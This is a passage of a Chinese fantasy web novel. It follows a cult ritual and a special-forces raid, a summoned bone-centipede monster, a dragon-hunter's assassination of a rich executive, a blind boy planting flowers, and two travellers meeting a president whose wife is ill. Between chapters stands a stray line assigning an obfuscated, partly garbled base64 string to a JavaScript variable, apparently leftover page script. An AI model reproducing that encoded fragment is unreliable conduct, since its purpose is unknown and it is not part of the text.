“玛丽哈娜小姐的病还有着落呢?” 杰回答道: “根据我们的盟友K博士说,这种病是血神一家施加给铆犽天真一族的诅咒。每个新生的族人都有八分之一的概率得上这种病。若想解除这份诅咒,得需要找到诅咒的发起者:‘血妖·奥米妮’,与她商议或猎杀她都可以解除这份诅咒。” “那么去哪里找血妖呢?那些半神早就消失在时间之河中了不是吗?” “不,老板。我们还有办法。我们可以依靠我们的盟友和我们的科技。” “仅凭这些,我觉得还不够。” “我们在天宗还有研究基地,基地里与我们合作的魔法师们能辅助我们。这些,就已经足够。” “哇哦,那挺不错的。但为何现在不去做呢?” “我们还缺一个条件......那就是时间紊乱指数超过60%。” “哦~我明白你的意思了。还得等殇和伊继续前进啊!——没事,我们的时间还算充裕。只要时间足够,机会总会有的。” “老板,还有个事要跟你说一下。” “什么事?说。” “貌似我们的合作伙伴傀儡师对殇和齐百陵很不满。他在视频通话之中抱怨我们对殇和齐百陵的仁慈,还质疑我们这种行为的正确性。但傀儡师仅限于抱怨,我们观测到他未采取任何实质性的行动。” “那都是他们之间爱恨情仇,都是老账本了。这是他们之间的事,只要不波及我们的利益,他们怎么作闹都行。——继续观察他们,杰。有任何风吹草动都告诉我。” “明白,老板。” 与此同时...... 在某个城市郊外的某个地方的地下建筑中,一场热闹的舞会如期举行。舞会的发起者是黑暗德鲁伊教团的高等司教兼教团顶尖刺客银之冠,发起的目的是为了响应康帝号召,集散招募新教员,为了复活邪神厄嘉耶罗什的大业。但这次舞会不知为何,作为发起人的银之冠并未来到现场。 这次舞会的主持人名为“戴利安”,简称司教d。舞会开始前,司教d和一众使徒来到建筑大堂中央,宣读黑暗德鲁伊邪典。在一声声深情的诵读吟唱之后,建筑内的新老教徒陷入疯狂,纷纷沉浸在了刚刚的诵读中。宣读过邪典,司教d宣布舞会正式举行。随后,建筑内回荡起了悠扬婉转的乐曲,许多带着面具、身着各式礼服的人随着音乐起舞。他们当中多半都是新教徒,都是在传教士的哄骗引诱下来到这里,随即陷入疯狂的都市工作者们。 这时,建筑的大门突然打开,一颗震爆弹从门的另一侧扔了进来。随着一道闪光与刺耳的低鸣声,乐曲中断,舞会陷入寂静。闪光之后,红伞联邦第三特遣队突击进入舞会,二话不说就对着舞会中舞者们开火。顿时间,舞会内的教徒们死伤二十多人,舞会平和的氛围瞬间被打破。舞会主持人组织教徒反抗,随即建筑内的教徒与特遣队队员们打成一片。就这样,舞会在慌乱中草草结束。 由于是刚加入舞会没多久,大多数新教徒都在这慌乱之中恢复了神智。见到眼前这番混乱的景象,这些新教徒们原地抱头蹲下,十分害怕。原本的那些教徒则没有新教徒这番懦弱,他们奋起反抗,用黑魔法与邪术驱赶着舞会入侵者。但特遣队队员可不是吃素的,他们个个都是装备精良的精英,岂会被这些教徒轻易打败。在枪林弹雨的洗礼过后,最后倒下的是那些愚昧的教徒。 特遣队一路杀到了建筑的最深处,唤灵祭坛存放处。在一座正在运行着的唤灵祭坛前,司教d正做着最后的祈祷。特遣队闯入,他身旁教会刺客上前应敌,为司教d争取时间。血肉之躯难以抵挡子弹的侵袭,很快那些教会刺客也败下阵来。特遣队队员以极快地速度包围了司教d,紧接着子弹如雨点般向司教d打来。司教d未等反抗,就已倒下。在血流成血泊之时,司教d仍念叨着那些咒语。司教d将手伸向唤灵祭坛,艰难地念出了终止咒语。 死亡之前,司教d心有不甘地低语道: “终究还是晚了一步吗?啊......我伟大的邪神大人啊!赐予我......诅咒吧。让我成为您的战士吧......” 说完这些,司教d便死去了。至此,舞会被红伞联邦第三特遣队完全肃清。红伞联邦特遣队的成员们在此刻放心地欢呼,庆祝胜利的果实。然而就在这时,其中一位队员注意到本该熄灭的唤灵祭坛此刻还在运作;同时这位队员还注意到,在唤灵祭坛的中央有着一根骸骨与血肉加之黄金铸造出的手杖。那个手杖上方燃烧起灾厄血色烈焰,同时一道裂痕从祭坛中央出现,无数愤怒的灵魂正从裂缝中奔涌向人间。周围的地面开始颤动,整个建筑内弥漫起了腥气。 特遣队队长疑惑地问: “发生什么事了?!” 其中一位特遣队队员指着唤灵祭坛,惊恐地说: “队长!你,你快看!” 特遣队所有人的目光都聚焦在了那根手杖上,以及......正抓向它的、从裂痕中伸出的巨型黑色骷髅手。特遣队队长想要开火阻止,但终究还是晚了一步。这只骷髅手飞快地抓起手杖,然后一下子缩了回去。裂痕慢慢关闭,地面的颤动更加剧烈。天花板上开始掉落碎砖,看样子这里即将塌陷。活着要紧,特遣队队员顾不得那根手杖的去向如何,二话不说就直接撤退,然后逃向了地面。 这时候,千里之外的幸存者联盟国的北斗城荒废后巷之中,另一伙黑暗德鲁伊教徒正进行着唤灵仪式。仪式很快成功,裂隙在他们这里打开。不过这次从裂隙中出现的不是他们想要的魔兵,而是一只巨大的黑色骷髅手。那只手二话不说抓起唤灵祭坛旁被五花大绑的祭品都市青年,然后再次缩了回去。那名都市青年凄厉的惨叫声回荡在后巷之中,紧接着一切又归为了寂静。不一会惨叫声接连传出,如起伏的波澜一般,时而有,时而无。 当一切完全归为寂静的时候,后巷内失去了任何声音,只留得个寂静而已。刹那之后,这寂静也消失了,取而代之的是一只野兽潺潺不断的低吼声。一只全身由黑红色人类骸骨组成的巨大多足长虫出现在后巷之中。 后巷内亮起了幽冥色的微光,那是无数愤怒灵魂化成烈焰,透过它身上无数颅骨的眼洞,向外散发的、饱含恨意的火光。后向内回响起骸骨相撞的声音,是它头颅旁的一对满是利齿的弯月状口器所发出的。它正准备着战斗,它全身上下蕴含的战意与恨意正需要宣泄口。 它的全身上下每一块甲壳都散发着灾厄的气息,还有着浓浓的含硫灰烬的气味。甲壳下有一团黑色物质,其名为:“灾劫物质”,是连接它身体的粘合剂,也是它真正的脊梁与软腹。灾劫物质中藏着一处惊喜,那是一颗在深处的炙热的灾厄之眼,毫无疑问,这正是它的心脏。 它的样貌狰狞至极,处处体现着死亡与恶劫。它,犹如死神化作昆虫降临于世间,是灾劫的象征。它有个响亮的名字,名曰:“灾劫灵魔虫”。 灾劫灵魔虫: “死亡,我需要吞下死亡。杀戮,我需要不断杀戮。饥饿,我非常饥饿!我的主人赋予了我生命,我要为了我的主人猎杀那富含魔法的人类。” 在远在千里之外的黑暗德鲁伊总部之中,康帝正通过魔镜注视着这一切。在看到这只灾劫虫现世后,康帝开心地不得了。康帝立即将这个消息通知给了厄嘉耶罗什,谁知厄嘉耶罗什早就知道,因为厄嘉耶罗什制造出的这只灾劫虫。于是康帝的通知变成了废话,厄嘉耶罗什告诉康帝真相后让康帝尴尬的无地自容。借着康帝找自己汇报事情的机会,厄嘉耶罗什跟康帝透露了一些重要讯息。 厄嘉耶罗什: “康帝,有些事我必须要告诉你。请你给我听好,不要遗忘。” 康帝: “邪神大人,您尽管说。” 厄嘉耶罗什: “你也知道终末法环被点亮的这件事吧。” 康帝: “这个属下知道,就是前几天的事。我还特地记录下了这件事,还花了点时间深入研究了下。但可惜,最后没得到什么有用的信息。” 厄嘉耶罗什: “终末法环是这个世界巅峰的象征,也是封印这片大地真正力量的锁。若它完全点亮,则这个世界的全部生灵将陷入暴走。那时,将是终末。不过,依我看,它点亮只有一瞬,那么带来的力量不足以毁灭这个世界。因此,我们可以利用这一瞬的微薄力量,打破束缚我们的枷锁。” 康帝: “邪神大人,您的意思是?” 厄嘉耶罗什: “收集这股力量,抽干被这股力量所眷顾的人的血,让这股力量能为我所用。从而在我从器皿的子宫中新生时,我将会展现出我最强大的形态,我也能以人类最强魔法师:“魔法之王”的身份......重回这个世界!到时候,我将带来最大的灾厄,让世界在灾厄之火中燃烧。” 康帝: “我会尽力去做的,邪神大人。” 厄嘉耶罗什: “我相信你,康帝。到时候你的私人恩怨,我也会帮你了之。” 康帝: “谢邪神恩惠。” 厄嘉耶罗什: “无上邪神重生之日,即是灾厄降临之时。准备好感受无名者的怒火吧,束缚这个世界的黄金锁链。我将化身为至尊的灾厄,用锋刃斩断你们的‘安宁’。” 与此同时...... 青莲提着手中浸满鲜血的剑,慢慢悠悠地走出别墅大院。走出大院后,他回首看了一眼。他露出笑容,然后转头离开。他在路旁找了一辆高尔夫球车,然后开着这辆小车慢慢悠悠地向着离岛的港口驶去。 就在刚刚,他潜入这座小到,一个人杀入刘氏集团的霸道总裁的别墅之中。他用自己的剑斩杀掉了所有挡路的人,很轻松地一路杀到了那位霸道总裁面前。最后逼得那位霸道总裁用出隐藏的龙族技能,也顺带亮出了那位霸道总裁作为龙族的身份。两人随即陷入死战。 刘柳律: “你究竟是何人,为何要来迫害我们。” 青莲: “因为你身上流着的血是不干净的,我得帮你放放血。龙族的人,不该出现在都市之中。你们祸害了这里,是要被问责的。” 刘柳律: “为何同样是人,我们一族就要遭遇这样的待遇?” 青莲: “因为你们是自私的天上人!不属于这片土地。” 在青莲绝对的实力面前,即便是龙族也如犬马一般,实力的碾压是绝对性的。话音刚落,青莲几剑之内出胜负。霸道总裁首落,一位人中之龙陨落。他顺理成章地除掉这个霸道总裁,顺带还弄死了霸道总裁的小娇妻。 在回去的路上,青莲坐在船中,回想着义父曾告诉他的故事。这段故事并非是童话,也非捏造与想象,而是真实发生在他身上的。故事中告诉他他的家是怎样毁在天上人手中、她母亲又是怎么顶着生育之痛与多方压力将他生下、他家的秘宝又是怎样落在天上人手中...... 这些一并算下来,就促成了他对天上人无尽的恨意。因为天上人,他这一辈子都不知道自己的父母是何种模样,也不知道自己生自那个家庭,他甚至连一口母亲的奶水也没喝上,母亲就随着父亲一起共赴黄泉了。这种恨意,是他一辈子也无法消去的。这份伤痛,注将伴随他一生。 青莲: “不知莉莉她们现在怎么样了。哎......薇尔雅拉,你若还活着,见到我的这种自私又无私的行为,你会失望吗?” “嘿!薇尔雅拉,你知道吗?” 他这一行并非是单纯去泄愤复仇,而是有备而来的刺杀。在他第一次猎杀天上人之前,他的盟友猎龙者组织就告诉他: “龙族之所以悄悄来到都市,就是为了实现龙族的复兴大业。龙族秉持着这份野心,想征服这个文明世界。龙族自身个个都有着过人的资质,既聪明又强大,与常人竞争总是占优势。若让龙族无止境地在城市之中自由发展、繁衍,过不了多少年,龙族就会在都市之中做到一手遮天。到时候,龙族自私的本性将会暴露,届时整个都市生态系统将笼罩在无边的黑暗之中。” 为了阻止龙族的野心扩张、为了都市之中生活的万千普通人们,他毅然决然加入到猎龙者所坚守的事业之中,与其一同狩猎龙族子嗣。这一加入,就是三十多年的风风雨雨。三十年间他和猎龙者们不间断地去狩猎龙族,以这种方式向龙族诉说都市人的不屈。他和猎龙者们又在猎龙武器上进行代代改良优化,最终制造出一代又一代的猎龙宝具。三十年风雨见证他们坚持不懈的努力,现在,曾在明面上猖獗的龙族子嗣最终在他们的威胁下选择隐蔽自我。做到这个地步,他们之间的战争还仍未结束。距离把龙族彻底驱赶出去,还有很长的路要走。 为了这个伟大的事业,他不得不舍弃了他的小家,去顾全大家。因此,他对自己的家人一直抱有愧疚,尤其是对他的两个可爱的女儿。 他觉得自己亏欠家人太多,多到已经无法弥补的地步。他后悔没有好好陪伴她们长大,更后悔没有好好去爱在他背后默默支持他的妻子。若给他重来一次的机会,他会选择去多陪陪家人,但他不会放弃这份事业。他珍视儿女情长,但更珍视公平正义。小家亦好,但大家甚之。 几个小时后,青莲回到了他暂时的居所。那里,也是摩多的家。 这时,摩多正陪着秋儿在他家的小花园里种花。原本这里是空闲着的温室,自打秋儿拿着那包种子回来,秋儿嚷嚷着要去种花,于是这里就变成了小花园。小花园内整齐地放着两排花盆,一排靠外,一排靠内。这些花盆中只有屈指可数的几盆里有花朵,且都是诞生自以外的野花。摩多并未除去这些野花,而是将其留下。他觉得野花也是花,既然这里是花园,就没有铲除的道理。小花园中有着专业的园艺工具,但大多是摩多这样的壮汉才能用的。因而摩多特意买了一套小型园艺工具,方便秋儿去种花。 秋儿双目失明,只能靠双手的触觉辨别种子、铲子、土坑的位置。秋儿多次打翻花盆,又多次在慌乱中寻找花盆的位置,轻轻地扶起花盆。秋儿还多次找不到园艺工具或种子,他多次趴在地面靠手一处一处摸,寻找他找不到的工具或种子。所幸摩多陪在秋儿身旁,秋儿遇到什么情况摩多都能帮上忙,让秋儿更顺利地去尝试种花。对于秋儿来说,种花有着非凡的意义。 秋儿种花时时常会灰心,但从未想过放弃。一次失败了,他就再试一遍。一遍遍的尝试,最终达到了熟练的境界。最后在摩多的辅导与他不懈的努力下,他成功种下了一颗花种。 即使上帝未赋予他光明,但他仍能去播种他的光明。 种完这颗种子时,秋儿好奇地问摩多: “叔叔,叔叔,种子埋进土壤里了吗?” 摩多看了看,种子的确埋入了土壤之中。于是,摩多回答道: “埋进去了,秋儿。埋的位置还很不错呢,来年春天,定能开出一朵艳丽的花儿来。我已经可以想到那朵花究竟有多美丽了。” 秋儿高兴地鼓鼓掌,欢呼道: “哦!太好喽。明年春天我种的花就能盛开,我种的花定是世界上最好看的!要是我的眼睛能像其他小朋友那样明亮一样就好了,我也想看花开的样子。要是妈妈能来就好了,妈妈一定会因我而骄傲的!” 在一旁的摩多听到秋儿童真烂漫的话语,心里不由得难受几分。摩多此刻非常后悔去告诉秋儿他母亲离世的消息,他希望自己那时能跟秋儿撒个善意的慌。对于这么小的一个孩子来说,这种消息无疑是能熄灭整段童年的阴霾。但所幸秋儿不明白何为生,何为死,他只是以为死了就是去一个名为“天堂”的地方旅行,殊不知那其实是与人间的诀别。 摩多用手抚摸秋儿的头,用温柔地语气说: “对呀。你妈妈要是能见到你种的花盛开,那你妈妈定会把你视为骄傲的。可惜你妈妈去天堂旅行了,还暂时回不来呢。” 秋儿抱住摩多的手臂,抬起头来用虔诚的表情对着摩多。秋儿问: “叔叔,叔叔。你说天堂到底是什么样的啊?是不是很美丽,所以妈妈才向往那里?妈妈喜欢花,是不是天堂就开满了花?” 摩多顿了一下,然后回答道: “既然你母亲喜欢花,那么天堂就定是鲜花的海洋。” “那爸爸是不是在天堂里跟妈妈在一起呢?” “你爸爸很爱你妈妈,他肯定会挽着你妈妈的手,在天堂自由自在地漫步。你爸爸妈妈会一起赏着他们爱的花,心里还得挂念着你这个大宝贝呢。” “嗯嗯嗯。那以后我能去天堂找爸爸妈妈吗?” 这个问题让摩多沉默了,他瞬间不知道该怎么回答下去。摩多左想右想,最后想到了一个合适的答案。摩多对秋儿说: “等你以后长大了,叔叔带你去治眼睛。等你能看得清东西了,叔叔就带你和你爸爸妈妈团聚。不用你去天堂,叔叔把他们接回来!你说好不好啊?” 秋儿点点头,笑着说: “好!” 这时,青莲走了过来。摩多抬头看了眼青莲,又低头看了看身旁的秋儿。摩多犹豫了一下,然后抱起秋儿去到了秋儿的房间。摩多轻轻地把秋儿放在床上,用温柔的语气对秋儿说: “秋儿,你在屋内玩一会,我和你耿叔叔处理点事,一会我们再去种花,好吗?” 秋儿点点头,说: “好。” 料理完秋儿,摩多关上秋儿房间的房门,走到客厅之中的一处桌椅前坐下。青莲见此走了过来,坐在了摩多对面的椅子上。青莲开口,竟未去聊正事,而是说起了秋儿。 “秋儿是个苦命的孩子啊。从小就没了爹妈,还受到x晶体的影响!从小就表现出了超乎常人的成长速度。仅仅是三年时光,就能有五六岁孩子的样子。不知以后会是种什么样子。” 摩多: “对啊。秋儿命是真的苦,但天下的苦命人真的太多了,比他还命苦的比比皆是。就比如他的父亲,一辈子艰苦地走下来最后也没得到过几分幸福,最后一无所有还成了夜空中的烟火。死的很风光,但活得真痛苦。” 青莲: “要是世界上能多几分幸福,少几分痛苦就好了。真怀念曾经的日子,那时候还没有大疫病,人们的生活还都很滋润。可现在一切都变了,逝去的再也无法找回来了。只能走一步看一步,继续面对痛苦的生活了。” 摩多: “对了,耿天祜,天上人那边还有什么风吹草动吗?” 耿天祜(青莲): “暂且没有,最近安静的出奇。据我们盟友猎龙者组织预测,那些天上人很可能在预谋某种计划。最近天上人的行踪越来越奇怪了,貌似这一切与终末法环的点亮有关系。猎龙者组织内有一种猜测,天上人们很可能想去夺取终末法环所带来的力量。具体来说,他们所想夺取的是一种名为‘命终之死’的力量。” 摩多: “命终之死?那不是传说中死之龙所看守的神器吗?难不成,天上人那群家伙想去弑神?” 耿天祜: “我猜不是。他们不具备能杀死神明的力量,而且他们也找不到神明。我猜他们是想借着终末法环的力量去弄到些‘命终之死’的边角料,然后加工成某种特殊的武器,借着用那种武器来去戕害那些无辜的百姓。” 摩多: “那可不行。如果那样的话,那将挑起一场战争。到时候,双方定会死伤惨烈,那会为这片本就伤痕累累的土地带来更大的浩劫。我们都不希望看到这样的景象。因而我们得去阻止他们。” 耿天祜: “我也正有此意。不过,仅凭我们几个还不够。天上人数量众多,我们还得想些对策。” 摩多: “我去调查调查有关终末法环的信息,看有没有办法阻止‘命终之死’落到天上人手中。这场战争,我们说什么也得赢过天上人。” 耿天祜: “那我就负责帮你号召点人,多几份力量来协助我们。” 摩多: “好主意。” 耿天祜: “这场战场,我们必须赢下,为了我们的世界。” 摩多和耿天祜碰拳。 摩多: “为了我们的世界。” 与此同时...... 在一支从天空群岛驶向文明社会的飞艇上,三个身着仙装的人站在甲板上眺望远方。他们看到了许多块大陆,每块大陆上都有着一个国家,每个国家中都不乏现代城市的影子。在天府神州生活了一辈子的他们,终于见到了这世界真实的样子。他们离文明社会越来越近了,他们的计划也要如期展开了。 秦武·白虎银仙: “终于是让我们看到了。这个世界的全貌原来是这样的吗?虽很震撼,但还不及家乡三分美丽。” 越秋阳·灵兽之祖: “秦老兄,别就此下定论啊。我们还未登陆,怎能轻易断言呢?毕竟我们的族人离开天府神州后不回来,也并不是毫无道理的。也许有的人,就被这世界的美丽所迷住了呢。” 秦武: “说的倒也是。万一到了陆地上,恰巧碰到了美景不就打了我的脸?到时候,可真是羞愧难当啊。” 越秋阳: “嗨,所言极是。因而言行需谨慎,不能妄论妄行。” 邵殷花·神方之龙: “你们两个大男人就别谈论这个话题了,收敛些心中的愉悦。别那么逍遥,跟个皇家贵族的公子似的,不是想美女就是想美景,那岂能被称为族长?想想我们的计划吧,两位皇家公子。” 越秋阳: “秦老兄,你看看,都让邵姐笑话我们两个了。真是羞愧啊。” 秦武: “邵妹说的也对,我们的确该想想正事。不能忘了我们去往文明社会的目的,大业是我们当下的要紧事。” 邵殷花: “名为终末的阵法在前几日被点亮,它告诉了我们机会已经成熟。名为‘终末’与‘命中之死’的力量,若能夺取,便能成为无上仙王。到时候,我们真的就是天上人,凌驾于人间一切凡子的无上。” 越秋阳: “可要夺取这两份力量并不容易。名为死的神龙可并不好寻找,倒是终末好寻找些。血脉的传承,古神的赐福,终末呼唤下苏醒的众多神明子嗣都将是我们获得力量的办法。” 秦武: “但这太过缓慢,还是直接夺取‘命终之死’容易些。” 邵殷花: “我觉得秦大哥的想法不错,不过我还是觉得两者得兼更好些。越公子说的也有道理,实在不行我们也可以用最慢但最妥当安全的办法。” 秦武: “不管怎样,随机应变是最好的战术。成王败寇,就看我们脚下的路该怎么走下去了。” 越秋阳: “害......真不知道旧龙族和新龙族的那群家伙如今怎样了。离开了故乡失去故乡仙蕴的滋养,他们的力量不知现在衰退到怎样的地步了。” 邵殷花: “我也很好奇。旧龙族的轩辕、邵、林世家不知现在如何了。我们伟大的腾龙仙童轩辕北凌的后人不知是怎样的姿态啊。真希望能跟她们过过招。” 三人注视着远方,心里打着各自的算盘。三人虽站在同一条船上,但心里想的可都是截然不同的想法。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第一话:到达新城市 通历43年8月27日上午11点23分,殇和伊在疫病隔离区中签署疫病管控条约,之后他们获得各自的通行证,至此正式走进幸存者联盟国。 他们来这里所受的待遇与那些普通的逃难者或是前来观光的旅者不同,来接他们两个进城的是幸存者联盟国现任大总统的亲卫队。总统亲卫队迎接进城,这让他们两个始料未及。能有如此待遇的人,不知大总统是有多重视。亲卫队开来两辆高级悬浮车,一辆上方搭载防空对地武器,一辆外部安装电磁护盾生成器,一辆用来武装护送,一辆用来运送人员。殇和伊坐上的是运送人员的那辆。 坐上车后,殇和伊忍不住好奇,就与车内的亲卫队队长聊起了天。 殇: “队长,话说你们搞这么大阵仗把我们送进城,是不是未免有些太过火了?” 蒙格(亲卫队队长): “我们只是应大总统的命令,安全护送你们去雄狮塔。大总统嘱咐过我们,你们是很重要的客人,必须要安全护送进城。若路上出了点差错,大总统的面子可没有地方放。” 伊: “重要客人?难道大总统事先认识我们吗?” 蒙格: “认识倒也说不上,只是听大总统常叨咕你们两个的名字。貌似是大总统通过其他什么途径认识的你们。” 殇: “那你这么一说,我倒有些担心了。” 蒙格: “先生,你大可不必担心。大总统与肃清者熟识,两人都是私下里的朋友。大总统说你们有肃清者罩着,因而你们来这里会是养尊处优。大总统定会同肃清者一样罩着你们的。” 殇: “那倒是。这样说来,也没啥可担心的了。” 蒙格: “还有一点要告知您二位。最近扭曲的风暴浪潮影响到了这个国家,等你们二位暂且安定下来的时候,请务必不要乱走动。若是碰上了扭曲,也不好处理不是吗?我们的人力有限,很难做到及时有效地帮助你们二位。” 伊: “放心,我和他都是有实力的人。我们能保护好自己,不必为我们两个而担忧。我们曾应对过扭曲,有经验。” 殇: “喂,伊。先把自己的定位弄清楚好不好?什么叫我们都是,你明明很菜的好吗?” 伊: “殇!请重视下我的颜面。” 殇: “好好好,你不菜,你只是弱。” 伊: “殇!” 蒙格: “哈哈哈哈,看来你们二位的关系很和谐呢。” 一段时间后,车驶进了城市。随着正午的太阳直射大地,车来到雄狮塔下,缓缓驶入地下停车场。车停好后,殇和伊及其亲卫队队员一同下车,而后他们一同前往电梯处,坐上电梯一路上升到雄狮塔塔顶。来到塔顶后,亲卫队队员带领着殇和伊走到了大总统办公室门前。亲卫队队长敲了敲门,在得到许可后推开办公室的门,领着殇和伊走了进去,而其他的亲卫队成员就在门口等候。 进入大总统办公室内,殇和伊见到堪称恢弘壮丽的景象。天顶地板用料都是抛光精制大理石,地板如光滑镜面,倒映出来客二人不凡的身影。四根精雕大理石柱靠在办公室的四角,起到支撑作用,同时美化室内环境;四根石柱的柱台上雕刻着虫木鸟云水五种事物,活灵活现地展现出一番自然生态之美。 天花板吊着一大二小三盏金质吊灯,大者华贵如皇冠能于工匠精雕细琢,吊晶石与金丝链下垂如柳枝,大灯夹于两小灯中间,体态庞大却不接两小灯之臂,处处彰显格局。小灯虽逊色于大灯,但气质并不弱于大灯半分,反而是因为娇小身姿体态,比起大灯又多显几分让人舒适的美感。牵挂着灯的天顶上,雕刻着一幅美丽的画卷。画中是星辰与明月,还有几颗飞星划过,甚至有种淡紫色的星云所笼罩,看着甚有浪漫色彩。 办公室内摆放着四个长方桌,一左一右两对摆放在室内。左边的那一对是金属全息显示桌,入门看去左上方是世界地图,而左下方是国家地图。右边的那一对是镀金大理石棋盘和黑檀木台球桌,右上方是棋盘桌,而右下方则是台球桌。顺着这两对长桌向远方看去,能看到一扇巨大的落地窗与一处天台。天台旁卧着一对面面相对的金狮子,左边是雌,右边是雄。这一对金狮子看着栩栩如生,让人不得不感叹匠人技艺的高超,真可谓巧夺天工。左边的雌狮陪伴一大盆绿植,右边的雄狮也陪伴一大盆绿植。雌狮陪伴一从粉紫色相见的无名之花,雄狮陪伴一从高大壮丽的绿蕨。 天台前,一位身着深蓝色西服的雅士吸引到了殇和伊的目光。垂头金黄如穗粒的长发,端着一本绿皮文书细细赏读,优雅与高贵的气息自内而外散发而出,一眼看去这就是如黄金一样的人。光看背影是无法分辨那人的性别的,但那人全身散发出的气概暴露出了他的真实性别。那人就是大总统,整个国家现任领导人,其名为“罗密欧·卡斯坦”的男人。 罗密欧听到客人到来时的声响,立即合上了手中的书,并快速地转过身去,笑着去迎接这两位重要客人。在见到罗密欧正脸的一瞬间,伊的脸刷的一下就红了起来,她瞬间被罗密欧的帅气所征服,一时害羞起来。殇的反应倒没伊那样剧烈,他则是很惊讶,他这辈子从未见过面容如此帅气的男人。 端庄的五官,每一点都恰到好处。坚毅而有力的眼眸,深邃似海且碧蓝如玉。一对笔直且稍显淡样的眉毛,似画家手下的杰作一般别具魅力。布满岁月侵蚀痕迹但毅然显出美色的脸,看似娇嫩如女子的肌肤,但实则稍有粗糙是男儿面庞。短中显细腻的小胡子长在他的下巴上,更为他增添几分帅气与男儿气概。 罗密欧露出笑容,轻声对二人说: “你好,亲爱的、来自远方的贵客。我是幸存者联盟国国家政府现任大总统,名曰罗密欧·卡斯坦。欢迎你们来到我们的国度,这片生机盎然的土地。” 伊有些害羞地也露出笑容,讪讪地说: “嗨......我叫伊,很......很高兴见到你。罗密欧先生。” 见伊有些羞涩的样子,殇一脸不解地皱了皱眉。殇问伊: “怎么?见到大总统害羞了?” 伊捂着嘴,脸上的红润更深了些,就好像抹了胭脂一般。伊有些慌张地摇了摇头,说: “没......没有啦,殇。” 罗密欧见伊这样,笑着说: “伊小姐这番样子,怕是因我的面容而本能地害羞。年轻的人就是如此啊,看一眼就能是心动紧张。” 罗密欧这么一说,伊的心噗噗直跳,她心中的紧张更沉重了几分,好像将她的心浸泡在深海之中,水压压得她喘不过气来。伊一时之间不知说些什么,只是呆呆地站在原地,脑中飞速想着应对的办法。这时,殇开口说道: “正经一点,伊。” 伊讪讪地说: “嗯。” 殇看向罗密欧,问: “罗密欧大总统,请问你将我们邀请到这里是为何?” 罗密欧微笑着回答: “殇殿下,我是念在我们之间的旧情与我对您的敬意,才邀请你们来此。我无非是想好好招待你们香草旅行团,让你们可以在我管辖的土地上安稳地生活,仅此而已。” “哦。等等......你叫我殿下?莫非你已经知道......” “没有错,殇殿下。——那种坚定的眼神,包含战意与柔情。那种浑然不惧一切的霸气,自上而下从每一寸肌肤中散发。即便是附身在他人的身躯中,你也如当初那般令人敬畏。” “身为大总统,说话还真不是凡夫俗子能比的。——那既然如此,隐晦的话咱们就别说了。” “我也正有此意。” “想必你早在我们来之前就知晓了一切,从而也能明白我们所做一切的含义。那么既然如此,你的态度究竟如何?” “若您的行为不伤害我的人民与我的国家,我可以秉持着尊崇你的心思,一直庇护你们二人。但若您或她的行为会有损于人民与家国,眨眼间我就会与您对立,是神也好,是人也罢,我都会诛杀之。” “好一个霸气又文雅的大总统!你这样的,我喜欢。” “谢殿下夸奖。” “当然,我们来此也并非要祸害一方。我们只想在这里安稳度过些时日,而后离开这里,奔赴其他国度。” “那样的话,我会尽力保护你们二位的安全,让我们尊贵的客人能看到我们国家的强大。来客亦是珍贵,吾定会保其平安。” 这时候,伊从刚刚害羞到极点的状态中摆脱出来,神态恢复了些许。 接下来,罗密欧邀请殇和伊到了他办公室一处休闲养生的僻静之地,而后在其中找到一处座椅,与来宾共坐。坐下后,罗密欧轻轻打了个响指,唤来了机器人管家刘c。罗密欧吩咐刘c上茶,刘c答应,随即就去准备茶水。在等待茶水上桌的这段时间里,殇他们与罗密欧聊起了天。 殇: “罗密欧大总统,请问你今年有多大了?” 罗密欧: “我已是中年,现在43岁了。” 伊: “年纪这么大了吗?但我看罗密欧先生你是二十几岁、三十出头的样子啊。” 罗密欧: “伊小姐过奖了。” 伊: “真厉害呀!四十多岁也依然看着年轻。” 殇: “通历1年出生的孩子吗?还真是生来就具备时代意义呀。——那看你这年纪,你也是有家室的男人吧。” 罗密欧: “没错,殿下。今年是我结婚的第十三个年头,我与我的妻子安娜已经携手走过十三余年了。我们之间很恩爱,也一同见证过黎明与黑夜。在我最困难的时候,是她陪我一路走来。我能拥有这番地位,都是靠她无私的支持。” 伊: “令人羡慕的婚姻。——那你们也该有了孩子吧?” 罗密欧: “我和安娜共养育有两个孩子,家中长子布兰特今年21岁,小女儿罗德丽卡今年12岁。长子布兰特是我在年轻时候收养的孩子,而罗德丽卡则是我和安娜的亲生骨肉。” 伊: “幸福美满的家庭。罗密欧先生,您可真是个幸福的男人!” 罗密欧: “事实上,我今朝的幸福都是由我过去的苦痛铺垫而来的。没有失去的彷徨、没有现实的磨砺、没有那一段又一段的峥嵘岁月,我这把宝剑是难以横空出世的。最重要的,是那个拥抱的痛苦的我,一路顶着风雪、拉着她的手走来。” 这时,刘c端来茶水上桌,并为桌上做着的三人沏好了茶。罗密欧轻轻打了个响指,刘c随即离开。罗密欧优雅地拿起茶杯,抿了口茶。殇和伊也拿起茶杯,喝了口茶水。主人和来客一同放下茶杯,随之继续聊天。 罗密欧: “殇殿下,我有一笔交易,不知您是否愿意答应。” 殇: “交易?说来听听。若我能做,那我就去做。” 罗密欧轻皱眉毛,表情变得忧虑些许。他极力维护着自己和善的表情,不想在来客面前显露出太多真挚的情感,怕丢掉自己国家的颜面。 罗密欧: “最近,我的妻子安娜得上了一种病。” 殇: “病?什么病?” 罗密欧: “这种病说来奇怪,吃药无用,问医无方,医学史上甚至没有关于此病的记载。我查遍了所有资料,就是没有相关记载。直到我认识了一个穿斗篷的人,我才知道了这种病的名字。‘凝霜症’,一种致命的绝症。” 伊: “什么?!这怎么可以呢。这样美好的家庭,怎能就此破碎?” 殇: “那这种病有什么解决办法吗?” 罗密欧: “穿斗篷的人告诉我,办法是有,不过需要一样制作方法早已失传的秘宝‘炎冰’。或是找到一个名为‘万年极寒’的人类领主,将他降服或是击杀。无论怎样,都需要有骁勇善战的勇士。” 殇: “所以你的意思是让我来帮助你救你的妻子?” 罗密欧: “没错,殇殿下。——当然,动用人皇岂能依照情面,我也会给予殿下您一笔不小的酬劳,以此来恳请您协助我。” 殇: “先别说交易不交易的,我只想知道那个穿斗篷的人还跟你说了些什么。” 罗密欧: 